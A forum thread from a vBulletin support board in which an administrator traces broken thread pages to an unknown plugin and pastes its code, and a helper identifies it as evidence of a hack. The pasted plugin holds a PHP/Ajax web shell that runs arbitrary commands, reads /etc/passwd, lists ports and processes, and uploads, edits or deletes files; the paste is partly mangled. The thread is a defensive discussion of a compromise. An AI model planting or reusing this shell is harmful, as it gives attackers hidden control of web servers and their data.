Serious problem with vBulletin 3.8

[mdrs2]

Hi guys
My forum only shows the first page of all Threads. It happened suddenly. I've not installed any plugins recently.
when i disable all hooks, it gonna be ok !

[Lynne]

If you disable hooks and it is OK, then it is one of your modifications causing the issue. So, disable all Products except the vBulletin Blog and vBulletin CMS (Admin CP -> Plugins & Products -> Manage Products -> Disable) AND uncheck all the plugins except those related to the vBulletin Blog and vBulletin CMS by (Admin CP -> Plugins & Products -> Plugin Manager). You must do BOTH of those steps in order to disable all non vBulletin Modifications. Now turn the modifications back on, one-by-one and see if the problem starts again.

[mdrs2]

i still have the problem
i've disabled all products, and unchecked all plugins but it didn't fix ! as soon as i disable those from (Vbulletin option => plugin/hook system) the problem will be solved, but if i disable those manually i still have the problem !

[Lynne]

If it works when you do it via the Options, then you did not completely disable them all via BOTH the Plugin Manager AND the Manage Products page.

[mdrs2]

Thanks Lynne
Finally i found the corrupted plugin !
Can anyone tell me what is this plugin and what is it for ?
There is two similar plugins. i have to disable first one. if i enable first one and disable second one, I still have the problem ! can I delete it ?
My vB is 3.8.4

[Lynne]

I have no idea what they are, but they are not default vbulletin plugins. Are they exactly the same? What do they do? If you didn't install them, then you should remove them.

[mdrs2]

I don't know what do they do honestly ! Anyway i disabled both of them and nothing happened at all
the both have same content as i quote here

PHP Code:

if (strpos($_SERVER['PHP_SELF'],"subscriptions.php")) { 

eval(base64_decode('session_start();

error_reporting(0);



$version = "0.7B";

$functions = array('Clear Screen' => 'ClearScreen()',
'Clear History' => 'ClearHistory()',
'Can I function?' => "runcommand('canirun','GET')",
'Get server info' => "runcommand('showinfo','GET')",
'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')",
'Open ports' => "runcommand('netstat -an | grep -i listen','GET')",
'Running processes' => "runcommand('ps -aux','GET')",
'Readme' => "runcommand('shellhelp','GET')"

);
$thisfile = basename(__FILE__);

$style = '<style type="text/css">
.cmdthing {
    border-top-width: 0px;
    font-weight: bmLHTTP");
            } catch (e){
                alert("Wicked error, nothing we can do about it...");
                return false;
            }
        }
    }
    ajaxRequest.onreadystatechange = function(){
        if(ajaxRequest.readyState == 4){
        outputcmd = "<pre>"  + outputcmd + ajaxRequest.responseText +"</pre>";
            document.getElementById('output').innerHTML = outputcmd;
            var objDiv = document.getElementById("output");
			objDiv.scrollTop = objDiv.scrollHeight;
        }
    }
    ajaxRequest.open(action, "?runcmd="+urltoopen , true);
	if(action == "GET")
	{
    ajaxRequest.send(null);
	}
    document.cmdform.command.value='';
    return false;
}

function set_tab_html(newhtml)
{
document.getElementById('commandtab').innerHTML = newhtml;
}

function set_tab(newtab)
{
	if(newtab == "cmd")
	{
		newhtml = '&nbsp;&nbsp;&nbsp;<form name="cmdform" onsubmit="return runcommand(document.cmdform.command.value,\'GET\');"><b>Command</b>: <input type=text name=command class=cmdthing size=100%><br></form>';
	}
	else if(newtab == "upload")
	{
		runcommand('upload','GET');
		newhtml = '<font size=0><b>This will reload the page... :(</b><br><br><form enctype="multipart/form-data" action="<?php print $ThisFile; ?>" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="10000000" />Choose a file to upload: <input name="uploadedfile" type="file" /><br /><input type="submit" value="Upload File" /></form></font>';
	}
	else if(newtab == "workingdir")
	{
		<?php
		$folders = "<form name=workdir onsubmit=\"return runcommand(\'changeworkdir \' + document.workdir.changeworkdir.value,\'GET\');\"><input size=80% type=text name=changeworkdir value=\"";
		$pathparts = explode("/",realpath ("."));
		foreach($pathparts as $folder)
		{
		$folders .= $folder."/";
		}
		$folders .= "\"><input type=submit value=Change></form><br>Script directory: <i style=\"cursor:crosshair\"  onclick=\"document.workdir.changeworkdir.value=\'".dirname(__FILE__)."\'>".dirname(__FILE__)."</i>";

		?>
		newhtml = '<?php print $folders; ?>';
	}
	else if(newtab == "filebrowser")
	{
		newhtml = '<b>File browser is under construction! Use at your own risk!</b> <br>You can use it to change your working directory easily, don\'t expect too much of it.<br>Click on a file to edit it.<br><i>[W]</i> = set directory as working directory.<br><i>[D]</i> = delete file/directory';
		runcommand('listdir .','GET');
	}
	else if(newtab == "createfile")
	{
		newhtml = '<b>File Editor, under construction.</b>';
		document.getElementById('output').innerHTML = "<form name=\"saveform\"><textarea cols=70 rows=10 id=\"area1\"></textarea><br><input size=80 type=text name=filetosave value=\"<?php print realpath('.')."/".rand(1000,999999).".txt"; ?>\"><input value=\"Save\" type=button onclick=\"SaveFile();\"></form>";
		
	}
		document.getElementById('commandtab').innerHTML = newhtml;
}
</script>
</head>
<body bgcolor=black onload="sf();" vlink=white alink=white link=white>
<table border=1 width=100% height=100%>
<td width=15% valign=top>

<form name="extras"><br>
<center><b>Quick Commands</b><br>

<div style='margin: 0px;padding: 0px;border: 1px inset;overflow: auto'>
<?php
foreach($functions as $name => $execute)
{
print '&nbsp;<input type="button" value="'.$name.'" onclick="'.$execute.'"><br>';
}
?>

</center>

</div>
</form>
<center><b>Command history</b><br></center>
<div id="history" style='margin: 0px;padding: 0px;border: 1px inset;width: 100%;height: 20%;text-align: left;overflow: auto;font-size: 10px;'></div>
<br>
<center><b>About</b><br></center>
<div style='margin: 0px;padding: 0px;border: 1px inset;width: 100%;text-align: center;overflow: auto; font-size: 10px;'>
<br>
<b><font size=3>Ajax/PHP Command Shell</b></font><br>by Ironfist
<br>
Version <?php print $version; ?>

<br>
<br>

<br>Thanks to everyone @ 
<a href="http://www.ironwarez.info" target=_blank>SharePlaza</a>
<br>
<a href="http://www.milw0rm.com" target=_blank>milw0rm</a>
<br>
and special greetings to everyone in rootshell
</div>

</td>
<td width=70%>
<table border=0 width=100% height=100%><td id="tabs" height=1%><font size=0>
<b style="cursor:crosshair" onclick="set_tab('cmd');">[Execute command]</b> 
<b style="cursor:crosshair" onclick="set_tab('upload');">[Upload file]</b> 
<b style="cursor:crosshair" onclick="set_tab('workingdir');">[Change directory]</b> 
<b style="cursor:crosshair" onclick="set_tab('filebrowser');">[Filebrowser]</b> 
<b style="cursor:crosshair" onclick="set_tab('createfile');">[Create File]</b> 

</font></td>
<tr>
<td height=99% width=100% valign=top><div id="output" style='height:100%;white-space:pre;overflow:auto'></div>

<tr>
<td  height=1% width=100% valign=top>
<div id="commandtab" style='height:100%;white-space:pre;overflow:auto'>
&nbsp;&nbsp;&nbsp;<form name="cmdform" onsubmit="return runcommand(document.cmdform.command.value,'GET');">
<b>Command</b>: <input type=text name=command class=cmdthing size=100%><br>
</form>
</div>
</td>
</table>
</td>
</table>
</body>
</html>
<?php
}
} else {
print "<center><table border=0  height=100%>
<td valign=middle>
<form action=".basename(__FILE__)." method=POST>You are not logged in, please login.<br><b>Password:</b><input type=password name=p4ssw0rD><input type=submit value=\"Log in\">
</form>";
}'));

exit; 
} 


[Lynne]

I hate to tell you, but you've most likely been hacked. base64 is never a good thing to see in any of your code. I would remove those and look at your access_logs to see how they did this. You may need to ask your host for help.

[mdrs2]

here is full of the code
http://www.mediafire.com/?cscsok6c1mfz6b4

I'm waiting for your response.

[Lynne]

I'm not sure what response you want from me. You've been hacked. You need to talk to your host about how this happened and how to fix the issue.

You may google for a base64 converter to find out what that code does. Just to let you know, but this is in part of the comments:

The shell can be used by anyone to command any server, .....